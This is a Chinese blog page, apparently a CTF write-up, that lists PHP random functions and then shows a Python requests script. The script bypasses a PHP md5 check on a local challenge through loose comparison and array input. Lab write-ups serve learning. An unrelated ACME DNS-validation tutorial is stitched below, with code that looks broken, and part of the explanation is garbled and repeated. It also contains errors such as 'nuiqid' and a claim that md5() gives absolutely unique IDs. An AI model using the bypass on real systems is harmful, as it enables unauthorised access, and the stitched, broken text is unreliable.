Challenge_13

image.png
函数分析:

mt_srand()
mt_srand() 播种 Mersenne Twister 随机数生成器。
注释:自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种,现已自动完成。

PHP随机函数
PHP随机函数主要有rand、mt_rand、array_rand,还有随机"排列"(打乱顺序)的函数shuffle、str_shuffle,以及能够产生唯一ID的uniqid。
1、rand()
• rand()函数返回随机整数。
• 如果没有提供可选参数 min 和 max,rand() 返回 0 到 RAND_MAX 之间的伪随机整数。例如,想要 5 到 15(包括 5 和 15)之间的随机数,用 rand(5, 15)。
• rand()函数是使用libc的随机数发生器生成随机数的,一般较慢,且有不确定因素。
• 其中getrandmax()函数可以返回rand函数能够产生的最大的随机数,在设置rand()函数第二个参数时可以设置为getrandmax()的返回值。

mt_rand()函数
• mt_rand() 使用 Mersenne Twister 算法返回随机整数。
• 如果没有提供可选参数 min 和 max,mt_rand() 返回 0 到 RAND_MAX 之间的伪随机数。例如想要 5 到 15(包括 5 和 15)之间的随机数,用 mt_rand(5, 15)。
• 很多老的 libc 的随机数发生器具有一些不确定和未知的特性而且很慢。PHP 的 rand() 函数默认使用 libc 随机数发生器。mt_rand() 函数是非正式用来替换它的。该函数用了 Mersenne Twister 中已知的特性作为随机数发生器,它可以产生随机数值的平均速度比 libc 提供的 rand() 快四倍。
• 注释:自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种,现在已自动完成。

array_rand()函数
• array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
• array_rand() 函数从数组中随机选出一个或多个元素,并返回。
• 第二个参数用来确定要选出几个元素。如果选出的元素不止一个,则返回包含随机键名的数组,否则返回该元素的键名。

shuffle()函数
• shuffle() 函数把数组中的元素按随机顺序重新排列。
• 该函数为数组中的元素分配新的键名。已有键名将被删除。

str_shuffle()函数
• str_shuffle() 函数随机打乱字符串中的所有字符。

uniqid()函数
• uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。
• 语法:
uniqid(prefix,more_entropy)
• 如果 prefix 参数为空,则返回的字符串有 13 个字符串长。如果 more_entropy 参数设置为 true,则是 23 个字符串长。
• 如果 more_entropy 参数设置为 true,则在返回值的末尾添加额外的熵(使用组合线形同余数生成程序),这样可以结果的唯一性更好。
• 返回值:以字符串的形式返回唯一标识符。
• 注释:由于基于系统时间,通过该函数生成的 ID 不是最佳的。如需生成绝对唯一的 ID,请使用 md5() 函数。
• 如果单独使用uniqid()方法,不带任何参数的话,这个方法只能保证单个进程,在同一个毫秒内是唯一的。如果使用uniqid(“”,true),带了一个墒值,自身已经有一个随机的方法能保证生成的id的随机性。但是由于线性同余是比较简单的生成随机数的算法,随机性有可能还不够。
所以大多数采用的方法为:
nuiqid(mt_rand(), true)

主要代码 :

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}

其中参数whoami要满足两个条件,一个是满足whoami输入的值与产生的随机值相等,另一个条件就是要满足md5( v a l u e ) 从第五位取,取四位,能够 = = 0 ,其中后一个条件其实可以通过 P H P 的弱比较来进行利用,也就是说,只要保证第五位值为字母,就可以满足 ( m d 5 ( value)从第五位取,取四位,能够==0,其中后一个条件其实可以通过PHP的弱比较来进行利用,也就是说,只要保证第五位值为字母,就可以满足(md5( value)从第五位取,取四位,能够==0,其中后一个条件其实可以通过PHP的弱比较来进行利用,也就是说,只要保证第五位值为字母,就可以满足(md5(value),5,4) == 0
这里可以使用MD5无法处理数组的漏洞
还有个条件 :

if($_SESSION['nums']>=10){
echo $flag;
}

在120秒内访问10次,条件满足 ,echo flag
payload :

import requests
url = "http://localhost:23123/challenge10.php"
session = requests.Session()
flag = session.get(url+'?value[]=ea').text
for i in range(10):
    flag = session.get(url+'?value[]='+ flag[0:2]).text
print(flag)

image.png

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
在 Python3 中使用 ACME 协议实现 DNS 验证的步骤如下: 1. 安装 `acme` 和 `requests` 模块: ```bash pip install acme requests ``` 2. 导入相关模块: ```python import os import json import requests from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives.asymmetric import rsa from acme import client from acme import messages from acme.client import ClientV2 from acme.errors import AcmeError from acme.jose import jwk from acme.jose import jose_base64url_decode ``` 3. 设置 ACME 服务器的 URL 和 API 密钥: ```python ACME_SERVER = 'https://acme-v02.api.letsencrypt.org/directory' API_KEY = '<your_api_key>' ``` 4. 生成 ACME 账户的 RSA 密钥: ```python private_key = rsa.generate_private_key( public_exponent=65537, key_size=2048, backend=default_backend(), ) ``` 5. 创建 ACME 客户端实例: ```python directory_url = ACME_SERVER client = ClientV2(directory_url, key=private_key) ``` 6. 注册 ACME 账户: ```python email = '<your_email_address>' registration = client.new_account( messages.NewRegistration.from_data(email=email), accept_terms_of_service=True, ) ``` 7. 创建需要验证的域名列表: ```python domain_list = ['example.com', 'www.example.com'] ``` 8. 对每个域名创建 ACME 订单: ```python order_list = [] for domain in domain_list: identifier = messages.Identifier( typ=messages.IDENTIFIER_FQDN, value=domain) order = client.new_order(identifier) order_list.append(order) ``` 9. 针对每个域名,获取 ACME 服务器返回的 DNS 验证信息: ```python for order in order_list: authorizations = client.fetch_authorizations(order) for authz in authorizations: if authz.body.identifier.typ == messages.IDENTIFIER_FQDN: domain = authz.body.identifier.value dns_challenge = None for i in authz.body.challenges: if isinstance(i.chall, messages.DNS01): dns_challenge = i break if dns_challenge is None: raise ValueError("No DNS challenge found for domain") token = jose_base64url_decode(dns_challenge.chall.token) key = jwk.JWK.load(private_key.public_key()) thumbprint = key.thumbprint() dns_value = thumbprint + '.' + token.decode() dns_record_name = '_acme-challenge.' + domain dns_record_value = dns_value.decode() print(f"Please add the following DNS record to your domain:") print(f"- Name:\t{dns_record_name}") print(f"- Type:\tTXT") print(f"- Value:\t{dns_record_value}") ``` 10. 在 DNS 解析器中添加 TXT 记录,等待 DNS 记录生效: ```bash _acme-challenge.example.com. 3600 IN TXT "thumbprint.token" _acme-challenge.www.example.com. 3600 IN TXT "thumbprint.token" ``` 11. 等待 DNS 记录生效后,调用 `answer_challenge` 方法完成 DNS 验证: ```python for order in order_list: authorizations = client.fetch_authorizations(order) for authz in authorizations: if authz.body.identifier.typ == messages.IDENTIFIER_FQDN: domain = authz.body.identifier.value dns_challenge = None for i in authz.body.challenges: if isinstance(i.chall, messages.DNS01): dns_challenge = i break if dns_challenge is None: raise ValueError("No DNS challenge found for domain") response, validation = client.answer_challenge(dns_challenge, "dns-01") print(f"Domain {domain} validated!") ``` 12. 如果验证成功,ACME 服务器将会返回证书签名请求(CSR)和证书链: ```python for order in order_list: certificate_request, final_order = client.finalize_order( order, csr_pem=None) certificate_url = final_order.body.certificate certificate_pem = client.fetch_certificate(certificate_url).body ``` 13. 将证书和私钥保存到文件中: ```python with open('cert.pem', 'wb') as f: f.write(certificate_pem) with open('key.pem', 'wb') as f: f.write(private_key.private_bytes( encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.TraditionalOpenSSL, encryption_algorithm=serialization.NoEncryption(), )) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值